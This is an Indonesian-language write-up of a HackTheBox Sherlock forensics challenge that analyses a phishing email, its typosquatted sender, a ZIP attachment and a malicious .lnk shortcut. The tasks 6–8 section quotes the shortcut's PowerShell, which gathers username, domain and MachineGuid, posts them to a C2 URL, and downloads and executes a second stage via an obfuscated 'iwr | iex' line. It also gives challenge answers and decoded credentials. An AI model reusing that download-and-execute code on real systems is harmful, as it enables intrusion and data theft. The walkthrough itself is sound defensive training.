HackTheBox AoTR 1 : A Call from the Museum

Author : Shiro

Halo guys, kita kembali lagi nih, kali ini kita mau membahas HackTheBox AoTR 1:https://app.hackthebox.com/sherlocks/AoTR%25201%253A%2520A%2520Call%2520from%2520the%2520Museum?tab=play_sherlock. Sebelum ke langkah penyelesaian, kita baca sinopsis soal-nya dulu.

SYNOPSIS:

Pada suatu malam yang tenang di pertengahan November, seorang karyawan CALE yang kelelahan membuka email yang tak terduga dan, tanpa banyak berpikir, mengikuti instruksi yang ada di dalamnya. Beberapa saat kemudian, ada sesuatu yang terasa aneh, kepanikan melanda, dan dia tiba-tiba mencabut kabel listrik dari dinding untuk menghentikan apa pun yang telah dimulai. Satu bulan kemudian, email yang sama muncul kembali sebagai titik awal penting dari penyelidikan siber, yang menyimpan petunjuk pertama tentang apa yang sebenarnya terjadi.

Dari sinopsis tersebut sang karyawan mendapati email yang mencurigakan, tanpa pikir panjang dia malah mengikuti instruksi yang ada didalamnya, lalu terjadi anomali pada sistem yang membuatnya panik dan mencabut kabel listrik. Tugas kita yaitu menyelidiki email tersebut dan mengungkapkan apa yang sebenarnya terjadi.

Langkah 1 : Ekstraksi File

Pertama, kita akan akan meng-ekstrak file tantangan yang telah di-unduh. Gunakan command unzip.

unzip AoTR-1_A-Call-from-the-Museum.zip

Terdapat password yang mengamankan file tersebut. Kita cek di https://app.hackthebox.com/sherlocks/AoTR%25201%253A%2520A%2520Call%2520from%2520the%2520Museum?tab=play_sherlock.

"password : hacktheblue"

None

Setelah berhasil di-ekstrak, kita lihat isi dari file ekstrak tersebut, gunakan command :

ls -lh
None

Setelah melihat isi file ekstrak, kita mendapatkan file utama yang akan kita analisis selanjutnya.

None
contents of the file.pdf

TASK 1 :

Who is the suspicious sender of the email?

Untuk mengetahui si pengirim/sender kita bisa membuka dan melihat isi file .eml tersebut menggunakan command cat atau less untuk melakukan analisis. Kita bisa Gunakan command grep untuk mencari baris from: untuk menemukan si sender.

grep -i "^From:" "URGENT_ Updated Health & Customs Compliance for Cross-Border Festive Event.eml"

Penjelasan Bagian Command :

  • grep → Program utama untuk mencari teks (search/pattern matching) di file atau input.
  • -i → Ignore case (case-insensitive). Membuat pencarian tidak peduli huruf besar/kecil.
  • "^From:" → Pola yang dicari (pattern). ^ artinya "awal baris", jadi output akan mencari baris yang dimulai dengan "From:".
  • "file.eml" → Gunakan tanda kutip melindungi nama file dari interpretasi shell.
None

Jika berhasil, output akan menampilkan email dari si sender tersebut.

eu-health@ca1e-corp.org

None

Jika kita perhatikan dengan baik nama domain email si sender, dia menulis nama perusahaan menggunakan angka "1". Sementara nama perusahaan aslinya yaitu CALE (menggunakan huruf 'L'). Ini adalah teknik typosquatting yang sering digunakan dalam serangan phishing untuk mengelabui mata korban.

TASK 2 :

What is the legitimate server that initially sent the email?

Dalam task 2 ini, kita diperintahkan untuk mencari server dari email tersebut.

Sebelumnya, kita harus pahami dulu jejak server nya ;

Header 'Received:' bertindak sebagai stempel perjalanan email. Setiap server yang dilewati menambahkan baris baru. Baris Received paling awal menunjukkan server outbound asli yang mengirim email ke internet, yaitu server legitimate.

Setiap kali email dikirim, ia akan melewati satu atau lebih server relay (mail server) dalam perjalanannya dari pengirim ke penerima. Setiap server yang dilewati akan menambahkan baris "Received:" baru di header email. Baris Received: ini seperti "stempel" atau cap waktu yang mencatat semua perjalanan yang dilewati email tersebut.

Eksekusi

Untuk mencari server legitimate dari si pengirim email tersebut, kita harus lihat baris Received: yang paling bawah atau yang pertama kali ditambahkan. Kita bisa gunakan command grep untuk mencari kata kunci Received:.

grep -i "^Received:" "URGENT_ Updated Health & Customs Compliance for Cross-Border Festive Event.eml"

Penjelasan bagian command :

  • grep → Program utama untuk mencari teks (search/pattern matching) di file atau input.
  • -i → Ignore case (case-insensitive). Membuat pencarian tidak peduli huruf besar/kecil.
  • Received: → cari baris yang dimulai dengan "Received:"
None

Terlihat pada output yang ditampilkan, di bagian baris awal terdapat kata outbound yang dimana kata tersebut bertindak sebagai gerbang keluar.

BG1P293CU004.outbound.protection.outlook.com

Terlihat bahwa email tersebut dikirim menggunakan layanan resmi Microsoft Office 365 (Exchange Online Protection). Meskipun pengirimnya menggunakan domain tipuan, tapi mereka menggunakan server Outlook yang sah untuk mengirimkan email tersebut agar terlihat terpercaya dan tidak diblokir oleh sistem keamanan.

None

TASK 3 :

What is the attachment filename?

Dalam TASK 3 ini kita diperintahkan untuk mengetahui nama file yang dikirimkan si penyerang.

Setelah saya cari tahu ternyata email tersebut menggunakan standar MIME (Multipurpose Internet Mail Extensions) untuk menggabungkan teks dan file menjadi satu kesatuan. Biasanya di baris Content-Disposition atau Content-Type ditandai menggunakan label filename. Kita pakai command grep untuk mencari kata kunci filename.

grep -i "Filename=" "URGENT_ Updated Health & Customs Compliance for Cross-Border Festive Event.eml"

Penjelasan bagian command :

  • grep → Program utama untuk mencari teks (search/pattern matching) di file atau input.
  • -i → Ignore case (case-insensitive). Membuat pencarian tidak peduli huruf besar/kecil.
  1. "Filename=" → kata kunci untuk mencari baris filename.
None

Setelah berhasil dijalankan, output akan menampilkan baris konten berikut :

- Content-Type: application/zip; filename="Health_Clearance-December_Archive.zip"; name="Health_Clearance-December_Archive.zip"

- Content-Disposition: attachment; filename="Health_Clearance-December_Archive.zip"; name="Health_Clearance-December_Archive.zip"

Konten tersebut membuktikan bahwa ada sebuah file yang disembunyikan pada email tersebut. Penyerang sengaja membungkus isinya ke dalam sebuah arsip ZIP agar terlihat seperti kumpulan dokumen yang resmi dan tidak mencurigakan.

Health_Clearance-December_Archive.zip

None

TASK 4 :

What is the Document Code?

Karena kita belum memiliki file ZIP attachment tersebut, kita akan meng-ekstrak terlebih dahulu di dalam file .eml.

Langkah 1 :

Kita bisa gunakan command munpack untuk mengekstrak file attachment yang ada didalam .eml.

munpack URGENT_... .eml
None

Setelah berhasil, output akan menampilkan nama file yang telah kita ekstrak tadi.

Health_Clearance-December_Archive.zip

Adalah nama file ekstraksi-nya.

Langkah 2 :

Selanjutnya kita akan ekstrak file ZIP tersebut, karena ZIP tersebut dilindungi oleh password, kita akan cari tahu password-nya terlebih dahulu.

Di awal saat kita sedang unzip AoTR-1_A-Call-from-the-Museum.zip, terdapat 2 file didalam isinya, yaitu file .pdf dan .eml. Saat membuka .pdf terdapat password yang dicantumkan didalamnya.

Password:Up7Pk99G

Gunakan password tersebut untuk mengekstrak ZIP.

unzip -P Up7Pk99G Health_Clearance-December_Archive.zip

Penjelasan bagian command :

  • unzip → Program utama untuk mengekstrak isi file ZIP.
  • -P → Opsi (flag) yang artinya "Password".
  • Up7Pk99G → Password file.
  • Health_… .zip → file zip yang akan di ekstrak.
None

Setelah selesai unzip akan menghasilkan 2 file yang berbeda.

Langkah 3 :

Saat kita buka file .pdf dari ekstrak barusan, di bagian header terlihat code dokumen dari soal ini.

None

Atau juga bisa kita menggunakan command poppler untuk mengubahnya menjadi .txt lalu cat dan grip untuk melihat dan mencari code nya.

cat Health_Clearance_Guidelines.txt | grep -i "code"

Penjelasan bagian command :

  • cat → Command untuk menampilkan isi seluruh file ke layar (concatenate).
  • Health_… .txt → Nama file yang mau dibaca.
  • | → (pipe) Operator yang mengirim output dari command kiri ke command kanan sebagai input.
  • grep → Tool untuk mencari pola/teks di input (global regular expression print).
  • -i → (ignore case) Bikin pencarian gak peduli huruf besar/kecil.
  • "code" → pola/teks yang dicari.
None

EU-HMU-24X

Langsung saja kita submit

None

TASK 5 :

What is the full URL of the C2 contacted through a POST request?

untuk mencari URL lengkapnya, kita bisa gunakan command strings, less dan cyberchef untuk decode mengungkapkan URL aslinya.

strings -el "EU_Health_Compliance_Portal.lnk" | less

Penjelasan bagian command :

  • strings → untuk mengekstrak semua string (teks) yang readable dari file binary.
  • -el → -e = encoding (menentukan jenis encoding string yang dicari), little-endian (16-bit) → ini khusus untuk Unicode strings (2 byte per karakter). pakai -el karena Windows (.lnk) sering menyimpan command PowerShell dalam format Unicode little-endian (bukan ASCII biasa).
  • "EU_… .lnk → Nama file yang mau di ekstrak.
  • | → (pipe) Mengirim output dari strings langsung ke command berikutnya.
  • less → Pager (penampil teks) memungkinkan kita scroll output panjang tanpa banjir di terminal.
None

Terdapat teks URL yang masih mentah, kita akan decode kode tersebut menggunakan cyberchef.

None

Setelah selesai di decode muncul URL asli yang kita cari-cari. Langsung submit di HTB.

https://health-status-rs.com/api/v1/checkin

None

TASK 6 :

The malicious script sent three pieces of information in the POST request. What is the registry key from which the last one is retrieved?

Mirip seperti task 5, kita disini pakai command yang sama untuk menganalisis output yang dikeluarkan. Pakai command :

strings -el "EU_Health_Compliance_Portal.lnk" | less

Penjelasan tiap bagian command bisa dilihat di pengerjaan task 5.

None

Dari tampilan output terlihat PowerShell yang lumayan panjang, setelah di analisis lebih lanjut, kita mendapati beberapa bagian pentingnya.

$AX=$env:USERNAME #Penyerang tahu username korban
$Bz=$env:USERDOMAIN #Penyerang tahu domain perangkat milik korban
$Mw=(gp HKLM:\SOFTWARE\Microsoft\Cryptography).MachineGuid #Penyerang bisa track korban secara unik meskipun dia ganti username, ganti IP, atau bahkan reinstall Windows

Kode script tersebut berisi informasi utama milik korban.

$pP = @{u=$AX;d=$Bz;g=$Mw} #Berisi data korban untuk dikirim via POST
  • u → Username
  • d → Domain
  • g → MachineGuid

Script tersebut menyimpan pieces of information milik korban yang akan dikirimkan ke penyerang melalui via POST.

jawaban :

HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid Penjelasan:

  • HKLM → Singkatan dari HKEY_LOCAL_MACHINE. Merupakan root key registry yang berlaku buat seluruh komputer.
  • SOFTWARE → Salah satu hive registry utama di Windows. SOFTWARE khusus buat setting aplikasi dan sistem yang gak tergantung hardware.
  • Microsoft → Key utama yang dibuat Microsoft sendiri. Hampir semua setting sistem Windows ada di bawah SOFTWARE\Microsoft.
  • Cryptography → Sub-key di bawah SOFTWARE\Microsoft. Tempat Windows nyimpen data kriptografi (enkripsi, certificate, dll).
  • MachineGuid → Ini nilai yang sebenarnya diambil (data akhirnya). MachineGuid adalah string acak panjang. Windows bikin ini pas pertama kali install OS, dan dipake buat identifikasi unik komputer (bukan user, tapi mesinnya).
None

TASK 7 :

Then the script downloads and executes a second stage from another URL. What is the domain?

Kita masih pakai script PowerShell yang sama dari strings -el tadi. Tapi, sekarang kita fokus ke bagian yang nyambung sama "downloads and executes a second stage".

strings -el "EU_Health_Compliance_Portal.lnk" | less
None

Fokus ke bagian-bagian ini :

$Lj=[System.Uri]::UnescapeDataString('https%3A%2F%2Fadvent%2Dof%2Dthe%2Drelics%2Dforum%2Ehtb%2Eblue%2Fapi%2Fv1%2Fimplant%2Fcid%3D');

Ini adalah URL dasar yang bisa kita decode pakai cyberchef untuk mendapatkan URL asli-nya.

None

https://advent-of-the-relics-forum.htb.blue/api/v1/implant/cid=

$Zu=(i`wr $oM -Method POST -Body $pP).Content;

Ini hasil dari POST request pertama ke C2 checkin (task 5). Server balas sesuatu (mungkin ID atau token), disimpan di $Zu.

i`wr -Headers $Hd $Lj$Zu | i`ex;

Penjelasan bagian :

  • $Lj$Zu → gabung URL dasar + response dari POST pertama.
  • i wr` → Invoke-WebRequest lagi (download content dari URL itu).
  • -Headers $Hd → pakai Authorization Basic Auth
  • | iex` → pipe output ke Invoke-Expression → langsung execute kode yang didownload.

Perintah dari soal yaitu hanya menanyakan Domain dari URL yang dipakai untuk download & execute second stage-nya saja.

advent-of-the-relics-forum.htb.blue

None

TASK 8 :

A set of credentials was used to access the previous resource. Retrieve them.

Masih di PowerShell yang sama, sekarang kita fokus ke bagian $Bs.

None

Credentials-nya berada didalam variabel $Bs.

$Bs = (-join('Basic c3','ZjX3Rlb','XA6U2','5','vd0JsY','WNrT','3V','0X','zIwM','jYh'));

Kita gabungin semua string yang ada di dalam -join (tanpa spasi).

Basic c3ZjX3RlbXA6U25vd0JsYWNrT3V0XzIwMjYh

Ini adalah header Basic Authentication yang sudah di encode. Bagian setelah "Basic " adalah base64 dari username:password. Kita ambil bagian base64-nya, lalu kita decode di cyberchef atau bisa juga di terminal.

Jika di terminal gunakan command :

echo "c3ZjX3RlbXA6U25vd0JsYWNrT3V0XzIwMjYh" | base64 -d

Penjelasan bagian command :

  • echo → Command bawaan bash buat nge-print teks ke layar (atau ke output). Fungsinya cuma "ngasih" string base64 itu ke command selanjutnya.
  • "c3ZjX3Rlb…" → String yang ingin di decode (dalam kutip supaya aman dari karakter aneh).
  • | → (pipe) Kirim output dari echo langsung ke command berikutnya.
  • base64 → Program bawaan untuk encode/decode base64.
  • -d → Opsi singkat dari --decode.
None

svc_temp:SnowBlackOut_2026!

None

Sekian penjelasan AoTR 1 dari shiro, semoga bisa membantu teman-teman yang masih belajar.

Bila ada Kritik, saran dan masukan silahkan berkomentar. ^^